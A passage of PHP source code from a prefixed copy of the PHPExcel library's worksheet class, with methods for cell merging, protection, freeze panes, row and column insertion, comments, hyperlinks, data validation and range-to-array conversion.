* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setBreak($pCell = 'A1', $pBreak = KDAPHPExcel_Worksheet::BREAK_NONE)
{
// Uppercase coordinate
$pCell = strtoupper($pCell);
if ($pCell != '') {
if ($pBreak == KDAPHPExcel_Worksheet::BREAK_NONE) {
if (isset($this->_breaks[$pCell])) {
unset($this->_breaks[$pCell]);
}
} else {
$this->_breaks[$pCell] = $pBreak;
}
} else {
throw new KDAPHPExcel_Exception('No cell coordinate specified.');
}
return $this;
}
/**
* Set break on a cell by using numeric cell coordinates
*
* @param integer $pColumn Numeric column coordinate of the cell
* @param integer $pRow Numeric row coordinate of the cell
* @param integer $pBreak Break type (type of KDAPHPExcel_Worksheet::BREAK_*)
* @return KDAPHPExcel_Worksheet
*/
public function setBreakByColumnAndRow($pColumn = 0, $pRow = 1, $pBreak = KDAPHPExcel_Worksheet::BREAK_NONE)
{
return $this->setBreak(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow, $pBreak);
}
/**
* Get breaks
*
* @return array[]
*/
public function getBreaks()
{
return $this->_breaks;
}
/**
* Set merge on a cell range
*
* @param string $pRange Cell range (e.g. A1:E1)
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function mergeCells($pRange = 'A1:A1')
{
// Uppercase coordinate
$pRange = strtoupper($pRange);
if (strpos($pRange,':') !== false) {
$this->_mergeCells[$pRange] = $pRange;
// make sure cells are created
// get the cells in the range
$aReferences = KDAPHPExcel_Cell::extractAllCellReferencesInRange($pRange);
$dataType = KDAPHPExcel_Cell_DataType::TYPE_NULL;
$value = null;
// create upper left cell if it does not already exist
$upperLeft = $aReferences[0];
if (!$this->cellExists($upperLeft)) {
$this->getCell($upperLeft)->setValueExplicit(null, KDAPHPExcel_Cell_DataType::TYPE_NULL);
} else {
$dataType = $this->getCell($upperLeft)->getDataType();
$value = $this->getCell($upperLeft)->getValue();
}
// create or blank out the rest of the cells in the range
$count = count($aReferences);
for ($i = 1; $i < $count; $i++) {
if(preg_replace('/\d+/', '', $upperLeft) == preg_replace('/\d+/', '', $aReferences[$i])) {
$this->getCell($aReferences[$i])->setValueExplicit($value, $dataType);
} else {
$this->getCell($aReferences[$i])->setValueExplicit(null, KDAPHPExcel_Cell_DataType::TYPE_NULL);
}
}
} else {
throw new KDAPHPExcel_Exception('Merge must be set on a range of cells.');
}
return $this;
}
/**
* Set merge on a cell range by using numeric cell coordinates
*
* @param int $pColumn1 Numeric column coordinate of the first cell
* @param int $pRow1 Numeric row coordinate of the first cell
* @param int $pColumn2 Numeric column coordinate of the last cell
* @param int $pRow2 Numeric row coordinate of the last cell
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function mergeCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1)
{
$cellRange = KDAPHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . KDAPHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2;
return $this->mergeCells($cellRange);
}
/**
* Remove merge on a cell range
*
* @param string $pRange Cell range (e.g. A1:E1)
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function unmergeCells($pRange = 'A1:A1')
{
// Uppercase coordinate
$pRange = strtoupper($pRange);
if (strpos($pRange,':') !== false) {
if (isset($this->_mergeCells[$pRange])) {
unset($this->_mergeCells[$pRange]);
} else {
throw new KDAPHPExcel_Exception('Cell range ' . $pRange . ' not known as merged.');
}
} else {
throw new KDAPHPExcel_Exception('Merge can only be removed from a range of cells.');
}
return $this;
}
/**
* Remove merge on a cell range by using numeric cell coordinates
*
* @param int $pColumn1 Numeric column coordinate of the first cell
* @param int $pRow1 Numeric row coordinate of the first cell
* @param int $pColumn2 Numeric column coordinate of the last cell
* @param int $pRow2 Numeric row coordinate of the last cell
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function unmergeCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1)
{
$cellRange = KDAPHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . KDAPHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2;
return $this->unmergeCells($cellRange);
}
/**
* Get merge cells array.
*
* @return array[]
*/
public function getMergeCells()
{
return $this->_mergeCells;
}
/**
* Set merge cells array for the entire sheet. Use instead mergeCells() to merge
* a single cell range.
*
* @param array
*/
public function setMergeCells($pValue = array())
{
$this->_mergeCells = $pValue;
return $this;
}
/**
* Set protection on a cell range
*
* @param string $pRange Cell (e.g. A1) or cell range (e.g. A1:E1)
* @param string $pPassword Password to unlock the protection
* @param boolean $pAlreadyHashed If the password has already been hashed, set this to true
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function protectCells($pRange = 'A1', $pPassword = '', $pAlreadyHashed = false)
{
// Uppercase coordinate
$pRange = strtoupper($pRange);
if (!$pAlreadyHashed) {
$pPassword = KDAPHPExcel_Shared_PasswordHasher::hashPassword($pPassword);
}
$this->_protectedCells[$pRange] = $pPassword;
return $this;
}
/**
* Set protection on a cell range by using numeric cell coordinates
*
* @param int $pColumn1 Numeric column coordinate of the first cell
* @param int $pRow1 Numeric row coordinate of the first cell
* @param int $pColumn2 Numeric column coordinate of the last cell
* @param int $pRow2 Numeric row coordinate of the last cell
* @param string $pPassword Password to unlock the protection
* @param boolean $pAlreadyHashed If the password has already been hashed, set this to true
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function protectCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1, $pPassword = '', $pAlreadyHashed = false)
{
$cellRange = KDAPHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . KDAPHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2;
return $this->protectCells($cellRange, $pPassword, $pAlreadyHashed);
}
/**
* Remove protection on a cell range
*
* @param string $pRange Cell (e.g. A1) or cell range (e.g. A1:E1)
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function unprotectCells($pRange = 'A1')
{
// Uppercase coordinate
$pRange = strtoupper($pRange);
if (isset($this->_protectedCells[$pRange])) {
unset($this->_protectedCells[$pRange]);
} else {
throw new KDAPHPExcel_Exception('Cell range ' . $pRange . ' not known as protected.');
}
return $this;
}
/**
* Remove protection on a cell range by using numeric cell coordinates
*
* @param int $pColumn1 Numeric column coordinate of the first cell
* @param int $pRow1 Numeric row coordinate of the first cell
* @param int $pColumn2 Numeric column coordinate of the last cell
* @param int $pRow2 Numeric row coordinate of the last cell
* @param string $pPassword Password to unlock the protection
* @param boolean $pAlreadyHashed If the password has already been hashed, set this to true
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function unprotectCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1, $pPassword = '', $pAlreadyHashed = false)
{
$cellRange = KDAPHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . KDAPHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2;
return $this->unprotectCells($cellRange, $pPassword, $pAlreadyHashed);
}
/**
* Get protected cells
*
* @return array[]
*/
public function getProtectedCells()
{
return $this->_protectedCells;
}
/**
* Get Autofilter
*
* @return KDAPHPExcel_Worksheet_AutoFilter
*/
public function getAutoFilter()
{
return $this->_autoFilter;
}
/**
* Set AutoFilter
*
* @param KDAPHPExcel_Worksheet_AutoFilter|string $pValue
* A simple string containing a Cell range like 'A1:E10' is permitted for backward compatibility
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setAutoFilter($pValue)
{
if (is_string($pValue)) {
$this->_autoFilter->setRange($pValue);
} elseif(is_object($pValue) && ($pValue instanceof KDAPHPExcel_Worksheet_AutoFilter)) {
$this->_autoFilter = $pValue;
}
return $this;
}
/**
* Set Autofilter Range by using numeric cell coordinates
*
* @param integer $pColumn1 Numeric column coordinate of the first cell
* @param integer $pRow1 Numeric row coordinate of the first cell
* @param integer $pColumn2 Numeric column coordinate of the second cell
* @param integer $pRow2 Numeric row coordinate of the second cell
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setAutoFilterByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1)
{
return $this->setAutoFilter(
KDAPHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1
. ':' .
KDAPHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2
);
}
/**
* Remove autofilter
*
* @return KDAPHPExcel_Worksheet
*/
public function removeAutoFilter()
{
$this->_autoFilter->setRange(NULL);
return $this;
}
/**
* Get Freeze Pane
*
* @return string
*/
public function getFreezePane()
{
return $this->_freezePane;
}
/**
* Freeze Pane
*
* @param string $pCell Cell (i.e. A2)
* Examples:
* A2 will freeze the rows above cell A2 (i.e row 1)
* B1 will freeze the columns to the left of cell B1 (i.e column A)
* B2 will freeze the rows above and to the left of cell A2
* (i.e row 1 and column A)
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function freezePane($pCell = '')
{
// Uppercase coordinate
$pCell = strtoupper($pCell);
if (strpos($pCell,':') === false && strpos($pCell,',') === false) {
$this->_freezePane = $pCell;
} else {
throw new KDAPHPExcel_Exception('Freeze pane can not be set on a range of cells.');
}
return $this;
}
/**
* Freeze Pane by using numeric cell coordinates
*
* @param int $pColumn Numeric column coordinate of the cell
* @param int $pRow Numeric row coordinate of the cell
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function freezePaneByColumnAndRow($pColumn = 0, $pRow = 1)
{
return $this->freezePane(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow);
}
/**
* Unfreeze Pane
*
* @return KDAPHPExcel_Worksheet
*/
public function unfreezePane()
{
return $this->freezePane('');
}
/**
* Insert a new row, updating all possible related data
*
* @param int $pBefore Insert before this one
* @param int $pNumRows Number of rows to insert
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function insertNewRowBefore($pBefore = 1, $pNumRows = 1) {
if ($pBefore >= 1) {
$objReferenceHelper = KDAPHPExcel_ReferenceHelper::getInstance();
$objReferenceHelper->insertNewBefore('A' . $pBefore, 0, $pNumRows, $this);
} else {
throw new KDAPHPExcel_Exception("Rows can only be inserted before at least row 1.");
}
return $this;
}
/**
* Insert a new column, updating all possible related data
*
* @param int $pBefore Insert before this one
* @param int $pNumCols Number of columns to insert
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function insertNewColumnBefore($pBefore = 'A', $pNumCols = 1) {
if (!is_numeric($pBefore)) {
$objReferenceHelper = KDAPHPExcel_ReferenceHelper::getInstance();
$objReferenceHelper->insertNewBefore($pBefore . '1', $pNumCols, 0, $this);
} else {
throw new KDAPHPExcel_Exception("Column references should not be numeric.");
}
return $this;
}
/**
* Insert a new column, updating all possible related data
*
* @param int $pBefore Insert before this one (numeric column coordinate of the cell)
* @param int $pNumCols Number of columns to insert
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function insertNewColumnBeforeByIndex($pBefore = 0, $pNumCols = 1) {
if ($pBefore >= 0) {
return $this->insertNewColumnBefore(KDAPHPExcel_Cell::stringFromColumnIndex($pBefore), $pNumCols);
} else {
throw new KDAPHPExcel_Exception("Columns can only be inserted before at least column A (0).");
}
}
/**
* Delete a row, updating all possible related data
*
* @param int $pRow Remove starting with this one
* @param int $pNumRows Number of rows to remove
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function removeRow($pRow = 1, $pNumRows = 1) {
if ($pRow >= 1) {
$objReferenceHelper = KDAPHPExcel_ReferenceHelper::getInstance();
$objReferenceHelper->insertNewBefore('A' . ($pRow + $pNumRows), 0, -$pNumRows, $this);
} else {
throw new KDAPHPExcel_Exception("Rows to be deleted should at least start from row 1.");
}
return $this;
}
/**
* Remove a column, updating all possible related data
*
* @param int $pColumn Remove starting with this one
* @param int $pNumCols Number of columns to remove
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function removeColumn($pColumn = 'A', $pNumCols = 1) {
if (!is_numeric($pColumn)) {
$pColumn = KDAPHPExcel_Cell::stringFromColumnIndex(KDAPHPExcel_Cell::columnIndexFromString($pColumn) - 1 + $pNumCols);
$objReferenceHelper = KDAPHPExcel_ReferenceHelper::getInstance();
$objReferenceHelper->insertNewBefore($pColumn . '1', -$pNumCols, 0, $this);
} else {
throw new KDAPHPExcel_Exception("Column references should not be numeric.");
}
return $this;
}
/**
* Remove a column, updating all possible related data
*
* @param int $pColumn Remove starting with this one (numeric column coordinate of the cell)
* @param int $pNumCols Number of columns to remove
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function removeColumnByIndex($pColumn = 0, $pNumCols = 1) {
if ($pColumn >= 0) {
return $this->removeColumn(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn), $pNumCols);
} else {
throw new KDAPHPExcel_Exception("Columns to be deleted should at least start from column 0");
}
}
/**
* Show gridlines?
*
* @return boolean
*/
public function getShowGridlines() {
return $this->_showGridlines;
}
/**
* Set show gridlines
*
* @param boolean $pValue Show gridlines (true/false)
* @return KDAPHPExcel_Worksheet
*/
public function setShowGridlines($pValue = false) {
$this->_showGridlines = $pValue;
return $this;
}
/**
* Print gridlines?
*
* @return boolean
*/
public function getPrintGridlines() {
return $this->_printGridlines;
}
/**
* Set print gridlines
*
* @param boolean $pValue Print gridlines (true/false)
* @return KDAPHPExcel_Worksheet
*/
public function setPrintGridlines($pValue = false) {
$this->_printGridlines = $pValue;
return $this;
}
/**
* Show row and column headers?
*
* @return boolean
*/
public function getShowRowColHeaders() {
return $this->_showRowColHeaders;
}
/**
* Set show row and column headers
*
* @param boolean $pValue Show row and column headers (true/false)
* @return KDAPHPExcel_Worksheet
*/
public function setShowRowColHeaders($pValue = false) {
$this->_showRowColHeaders = $pValue;
return $this;
}
/**
* Show summary below? (Row/Column outlining)
*
* @return boolean
*/
public function getShowSummaryBelow() {
return $this->_showSummaryBelow;
}
/**
* Set show summary below
*
* @param boolean $pValue Show summary below (true/false)
* @return KDAPHPExcel_Worksheet
*/
public function setShowSummaryBelow($pValue = true) {
$this->_showSummaryBelow = $pValue;
return $this;
}
/**
* Show summary right? (Row/Column outlining)
*
* @return boolean
*/
public function getShowSummaryRight() {
return $this->_showSummaryRight;
}
/**
* Set show summary right
*
* @param boolean $pValue Show summary right (true/false)
* @return KDAPHPExcel_Worksheet
*/
public function setShowSummaryRight($pValue = true) {
$this->_showSummaryRight = $pValue;
return $this;
}
/**
* Get comments
*
* @return KDAPHPExcel_Comment[]
*/
public function getComments()
{
return $this->_comments;
}
/**
* Set comments array for the entire sheet.
*
* @param array of KDAPHPExcel_Comment
* @return KDAPHPExcel_Worksheet
*/
public function setComments($pValue = array())
{
$this->_comments = $pValue;
return $this;
}
/**
* Get comment for cell
*
* @param string $pCellCoordinate Cell coordinate to get comment for
* @return KDAPHPExcel_Comment
* @throws KDAPHPExcel_Exception
*/
public function getComment($pCellCoordinate = 'A1')
{
// Uppercase coordinate
$pCellCoordinate = strtoupper($pCellCoordinate);
if (strpos($pCellCoordinate,':') !== false || strpos($pCellCoordinate,',') !== false) {
throw new KDAPHPExcel_Exception('Cell coordinate string can not be a range of cells.');
} else if (strpos($pCellCoordinate,'$') !== false) {
throw new KDAPHPExcel_Exception('Cell coordinate string must not be absolute.');
} else if ($pCellCoordinate == '') {
throw new KDAPHPExcel_Exception('Cell coordinate can not be zero-length string.');
} else {
// Check if we already have a comment for this cell.
// If not, create a new comment.
if (isset($this->_comments[$pCellCoordinate])) {
return $this->_comments[$pCellCoordinate];
} else {
$newComment = new KDAPHPExcel_Comment();
$this->_comments[$pCellCoordinate] = $newComment;
return $newComment;
}
}
}
/**
* Get comment for cell by using numeric cell coordinates
*
* @param int $pColumn Numeric column coordinate of the cell
* @param int $pRow Numeric row coordinate of the cell
* @return KDAPHPExcel_Comment
*/
public function getCommentByColumnAndRow($pColumn = 0, $pRow = 1)
{
return $this->getComment(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow);
}
/**
* Get selected cell
*
* @deprecated
* @return string
*/
public function getSelectedCell()
{
return $this->getSelectedCells();
}
/**
* Get active cell
*
* @return string Example: 'A1'
*/
public function getActiveCell()
{
return $this->_activeCell;
}
/**
* Get selected cells
*
* @return string
*/
public function getSelectedCells()
{
return $this->_selectedCells;
}
/**
* Selected cell
*
* @param string $pCoordinate Cell (i.e. A1)
* @return KDAPHPExcel_Worksheet
*/
public function setSelectedCell($pCoordinate = 'A1')
{
return $this->setSelectedCells($pCoordinate);
}
/**
* Select a range of cells.
*
* @param string $pCoordinate Cell range, examples: 'A1', 'B2:G5', 'A:C', '3:6'
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setSelectedCells($pCoordinate = 'A1')
{
// Uppercase coordinate
$pCoordinate = strtoupper($pCoordinate);
// Convert 'A' to 'A:A'
$pCoordinate = preg_replace('/^([A-Z]+)$/', '${1}:${1}', $pCoordinate);
// Convert '1' to '1:1'
$pCoordinate = preg_replace('/^([0-9]+)$/', '${1}:${1}', $pCoordinate);
// Convert 'A:C' to 'A1:C1048576'
$pCoordinate = preg_replace('/^([A-Z]+):([A-Z]+)$/', '${1}1:${2}1048576', $pCoordinate);
// Convert '1:3' to 'A1:XFD3'
$pCoordinate = preg_replace('/^([0-9]+):([0-9]+)$/', 'A${1}:XFD${2}', $pCoordinate);
if (strpos($pCoordinate,':') !== false || strpos($pCoordinate,',') !== false) {
list($first, ) = KDAPHPExcel_Cell::splitRange($pCoordinate);
$this->_activeCell = $first[0];
} else {
$this->_activeCell = $pCoordinate;
}
$this->_selectedCells = $pCoordinate;
return $this;
}
/**
* Selected cell by using numeric cell coordinates
*
* @param int $pColumn Numeric column coordinate of the cell
* @param int $pRow Numeric row coordinate of the cell
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setSelectedCellByColumnAndRow($pColumn = 0, $pRow = 1)
{
return $this->setSelectedCells(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow);
}
/**
* Get right-to-left
*
* @return boolean
*/
public function getRightToLeft() {
return $this->_rightToLeft;
}
/**
* Set right-to-left
*
* @param boolean $value Right-to-left true/false
* @return KDAPHPExcel_Worksheet
*/
public function setRightToLeft($value = false) {
$this->_rightToLeft = $value;
return $this;
}
/**
* Fill worksheet from values in array
*
* @param array $source Source array
* @param mixed $nullValue Value in source array that stands for blank cell
* @param string $startCell Insert array starting from this cell address as the top left coordinate
* @param boolean $strictNullComparison Apply strict comparison when testing for null values in the array
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function fromArray($source = null, $nullValue = null, $startCell = 'A1', $strictNullComparison = false) {
if (is_array($source)) {
// Convert a 1-D array to 2-D (for ease of looping)
if (!is_array(end($source))) {
$source = array($source);
}
// start coordinate
list ($startColumn, $startRow) = KDAPHPExcel_Cell::coordinateFromString($startCell);
// Loop through $source
foreach ($source as $rowData) {
$currentColumn = $startColumn;
foreach($rowData as $cellValue) {
if ($strictNullComparison) {
if ($cellValue !== $nullValue) {
// Set cell value
$this->getCell($currentColumn . $startRow)->setValue($cellValue);
}
} else {
if ($cellValue != $nullValue) {
// Set cell value
$this->getCell($currentColumn . $startRow)->setValue($cellValue);
}
}
++$currentColumn;
}
++$startRow;
}
} else {
throw new KDAPHPExcel_Exception("Parameter \$source should be an array.");
}
return $this;
}
/**
* Create array from a range of cells
*
* @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1")
* @param mixed $nullValue Value returned in the array entry if a cell doesn't exist
* @param boolean $calculateFormulas Should formulas be calculated?
* @param boolean $formatData Should formatting be applied to cell values?
* @param boolean $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero
* True - Return rows and columns indexed by their actual row and column IDs
* @return array
*/
public function rangeToArray($pRange = 'A1', $nullValue = null, $calculateFormulas = true, $formatData = true, $returnCellRef = false) {
// Returnvalue
$returnValue = array();
// Identify the range that we need to extract from the worksheet
list($rangeStart, $rangeEnd) = KDAPHPExcel_Cell::rangeBoundaries($pRange);
$minCol = KDAPHPExcel_Cell::stringFromColumnIndex($rangeStart[0] -1);
$minRow = $rangeStart[1];
$maxCol = KDAPHPExcel_Cell::stringFromColumnIndex($rangeEnd[0] -1);
$maxRow = $rangeEnd[1];
$maxCol++;
// Loop through rows
$r = -1;
for ($row = $minRow; $row <= $maxRow; ++$row) {
$rRef = ($returnCellRef) ? $row : ++$r;
$c = -1;
// Loop through columns in the current row
for ($col = $minCol; $col != $maxCol; ++$col) {
$cRef = ($returnCellRef) ? $col : ++$c;
// Using getCell() will create a new cell if it doesn't already exist. We don't want that to happen
// so we test and retrieve directly against _cellCollection
if ($this->_cellCollection->isDataSet($col.$row)) {
// Cell exists
$cell = $this->_cellCollection->getCacheData($col.$row);
if ($cell->getValue() !== null) {
if ($cell->getValue() instanceof KDAPHPExcel_RichText) {
$returnValue[$rRef][$cRef] = $cell->getValue()->getPlainText();
} else {
if ($calculateFormulas) {
$returnValue[$rRef][$cRef] = $cell->getCalculatedValue();
} else {
$returnValue[$rRef][$cRef] = $cell->getValue();
}
}
if ($formatData) {
$style = $this->_parent->getCellXfByIndex($cell->getXfIndex());
$returnValue[$rRef][$cRef] = KDAPHPExcel_Style_NumberFormat::toFormattedString(
$returnValue[$rRef][$cRef],
($style->getNumberFormat()) ?
$style->getNumberFormat()->getFormatCode() :
KDAPHPExcel_Style_NumberFormat::FORMAT_GENERAL
);
}
} else {
// Cell holds a NULL
$returnValue[$rRef][$cRef] = $nullValue;
}
} else {
// Cell doesn't exist
$returnValue[$rRef][$cRef] = $nullValue;
}
}
}
// Return
return $returnValue;
}
/**
* Create array from a range of cells
*
* @param string $pNamedRange Name of the Named Range
* @param mixed $nullValue Value returned in the array entry if a cell doesn't exist
* @param boolean $calculateFormulas Should formulas be calculated?
* @param boolean $formatData Should formatting be applied to cell values?
* @param boolean $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero
* True - Return rows and columns indexed by their actual row and column IDs
* @return array
* @throws KDAPHPExcel_Exception
*/
public function namedRangeToArray($pNamedRange = '', $nullValue = null, $calculateFormulas = true, $formatData = true, $returnCellRef = false) {
$namedRange = KDAPHPExcel_NamedRange::resolveRange($pNamedRange, $this);
if ($namedRange !== NULL) {
$pWorkSheet = $namedRange->getWorksheet();
$pCellRange = $namedRange->getRange();
return $pWorkSheet->rangeToArray( $pCellRange,
$nullValue, $calculateFormulas, $formatData, $returnCellRef);
}
throw new KDAPHPExcel_Exception('Named Range '.$pNamedRange.' does not exist.');
}
/**
* Create array from worksheet
*
* @param mixed $nullValue Value returned in the array entry if a cell doesn't exist
* @param boolean $calculateFormulas Should formulas be calculated?
* @param boolean $formatData Should formatting be applied to cell values?
* @param boolean $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero
* True - Return rows and columns indexed by their actual row and column IDs
* @return array
*/
public function toArray($nullValue = null, $calculateFormulas = true, $formatData = true, $returnCellRef = false) {
// Garbage collect...
$this->garbageCollect();
// Identify the range that we need to extract from the worksheet
$maxCol = $this->getHighestColumn();
$maxRow = $this->getHighestRow();
// Return
return $this->rangeToArray( 'A1:'.$maxCol.$maxRow,
$nullValue, $calculateFormulas, $formatData, $returnCellRef);
}
/**
* Get row iterator
*
* @param integer $startRow The row number at which to start iterating
* @return KDAPHPExcel_Worksheet_RowIterator
*/
public function getRowIterator($startRow = 1) {
return new KDAPHPExcel_Worksheet_RowIterator($this,$startRow);
}
/**
* Run KDAPHPExcel garabage collector.
*
* @return KDAPHPExcel_Worksheet
*/
public function garbageCollect() {
// Flush cache
$this->_cellCollection->getCacheData('A1');
// Build a reference table from images
// $imageCoordinates = array();
// $iterator = $this->getDrawingCollection()->getIterator();
// while ($iterator->valid()) {
// $imageCoordinates[$iterator->current()->getCoordinates()] = true;
//
// $iterator->next();
// }
//
// Lookup highest column and highest row if cells are cleaned
$colRow = $this->_cellCollection->getHighestRowAndColumn();
$highestRow = $colRow['row'];
$highestColumn = KDAPHPExcel_Cell::columnIndexFromString($colRow['column']);
// Loop through column dimensions
foreach ($this->_columnDimensions as $dimension) {
$highestColumn = max($highestColumn,KDAPHPExcel_Cell::columnIndexFromString($dimension->getColumnIndex()));
}
// Loop through row dimensions
foreach ($this->_rowDimensions as $dimension) {
$highestRow = max($highestRow,$dimension->getRowIndex());
}
// Cache values
if ($highestColumn < 0) {
$this->_cachedHighestColumn = 'A';
} else {
$this->_cachedHighestColumn = KDAPHPExcel_Cell::stringFromColumnIndex(--$highestColumn);
}
$this->_cachedHighestRow = $highestRow;
// Return
return $this;
}
/**
* Get hash code
*
* @return string Hash code
*/
public function getHashCode() {
if ($this->_dirty) {
$this->_hash = md5( $this->_title .
$this->_autoFilter .
($this->_protection->isProtectionEnabled() ? 't' : 'f') .
__CLASS__
);
$this->_dirty = false;
}
return $this->_hash;
}
/**
* Extract worksheet title from range.
*
* Example: extractSheetTitle("testSheet!A1") ==> 'A1'
* Example: extractSheetTitle("'testSheet 1'!A1", true) ==> array('testSheet 1', 'A1');
*
* @param string $pRange Range to extract title from
* @param bool $returnRange Return range? (see example)
* @return mixed
*/
public static function extractSheetTitle($pRange, $returnRange = false) {
// Sheet title included?
if (($sep = strpos($pRange, '!')) === false) {
return '';
}
if ($returnRange) {
return array( trim(substr($pRange, 0, $sep),"'"),
substr($pRange, $sep + 1)
);
}
return substr($pRange, $sep + 1);
}
/**
* Get hyperlink
*
* @param string $pCellCoordinate Cell coordinate to get hyperlink for
*/
public function getHyperlink($pCellCoordinate = 'A1')
{
// return hyperlink if we already have one
if (isset($this->_hyperlinkCollection[$pCellCoordinate])) {
return $this->_hyperlinkCollection[$pCellCoordinate];
}
// else create hyperlink
$this->_hyperlinkCollection[$pCellCoordinate] = new KDAPHPExcel_Cell_Hyperlink();
return $this->_hyperlinkCollection[$pCellCoordinate];
}
/**
* Set hyperlnk
*
* @param string $pCellCoordinate Cell coordinate to insert hyperlink
* @param KDAPHPExcel_Cell_Hyperlink $pHyperlink
* @return KDAPHPExcel_Worksheet
*/
public function setHyperlink($pCellCoordinate = 'A1', KDAPHPExcel_Cell_Hyperlink $pHyperlink = null)
{
if ($pHyperlink === null) {
unset($this->_hyperlinkCollection[$pCellCoordinate]);
} else {
$this->_hyperlinkCollection[$pCellCoordinate] = $pHyperlink;
}
return $this;
}
/**
* Hyperlink at a specific coordinate exists?
*
* @param string $pCoordinate
* @return boolean
*/
public function hyperlinkExists($pCoordinate = 'A1')
{
return isset($this->_hyperlinkCollection[$pCoordinate]);
}
/**
* Get collection of hyperlinks
*
* @return KDAPHPExcel_Cell_Hyperlink[]
*/
public function getHyperlinkCollection()
{
return $this->_hyperlinkCollection;
}
/**
* Get data validation
*
* @param string $pCellCoordinate Cell coordinate to get data validation for
*/
public function getDataValidation($pCellCoordinate = 'A1')
{
// return data validation if we already have one
if (isset($this->_dataValidationCollection[$pCellCoordinate])) {
return $this->_dataValidationCollection[$pCellCoordinate];
}
// else create data validation
$this->_dataValidationCollection[$pCellCoordinate] = new KDAPHPExcel_Cell_DataValidation();
return $this->_dataValidationCollection[$pCellCoordinate];
}
/**
* Set data validation
*
* @param string $pCellCoordinate Cell coordinate to insert data validation
* @param KDAPHPExcel_Cell_DataValidation $pDataValidation
* @return KDAPHPExcel_Worksheet
*/
public function setDataValidation($pCellCoordinate = 'A1', KDAPHPExcel_Cell_DataValidation $pDataValidation = null)
{
if ($pDataValidation === null) {
unset($this->_dataValidationCollection[$pCellCoordinate]);
} else {
$this->_dataValidationCollection[$pCellCoordinate] = $pDataValidation;
}
return $this;
}
/**
* Data validation at a specific coordinate exists?
*
* @param string $pCoordinate
* @return boolean
*/
public function dataValidationExists($pCoordinate = 'A1')
{
return isset($this->_dataValidationCollection[$pCoordinate]);
}
/**
* Get collection of data validations
*
* @return KDAPHPExcel_Cell_DataValidation[]
*/
public function getDataValidationCollection()
{
return $this->_dataValidationCollection;
}
/**
* Accepts a range, returning it as a range that falls within the current highest row and column of the worksheet
*
* @param string $range
* @return string Adjusted range value
*/
public function shrinkRangeToFit($range) {
$maxCol = $this->getHighestColumn();
$maxRow = $this->getHighestRow();
$maxCol = KDAPHPExcel_Cell::columnIndexFromString($maxCol);
$rangeBlocks = explode(' ',$range);
foreach ($rangeBlocks as &$rangeSet) {
$rangeBoundaries = KDAPHPExcel_Cell::getRangeBoundaries($rangeSet);
if (KDAPHPExcel_Cell::columnIndexFromString($rangeBoundaries[0][0]) > $maxCol) { $rangeBoundaries[0][0] = KDAPHPExcel_Cell::stringFromColumnIndex($maxCol); }
if ($rangeBoundaries[0][1] > $maxRow) { $rangeBoundaries[0][1] = $maxRow; }
if (KDAPHPExcel_Cell::columnIndexFromString($rangeBoundaries[1][0]) > $maxCol) { $rangeBoundaries[1][0] = KDAPHPExcel_Cell::stringFromColumnIndex($maxCol); }
if ($rangeBoundaries[1][1] > $maxRow) { $rangeBoundaries[1][1] = $maxRow; }
$rangeSet = $rangeBoundaries[0][0].$rangeBoundaries[0][1].':'.$rangeBoundaries[1][0].$rangeBoundaries[1][1];
}
unset($rangeSet);
$stRange = implode(' ',$rangeBlocks);
return $stRange;
}
/**
* Get tab color
*
* @return KDAPHPExcel_Style_Color
*/
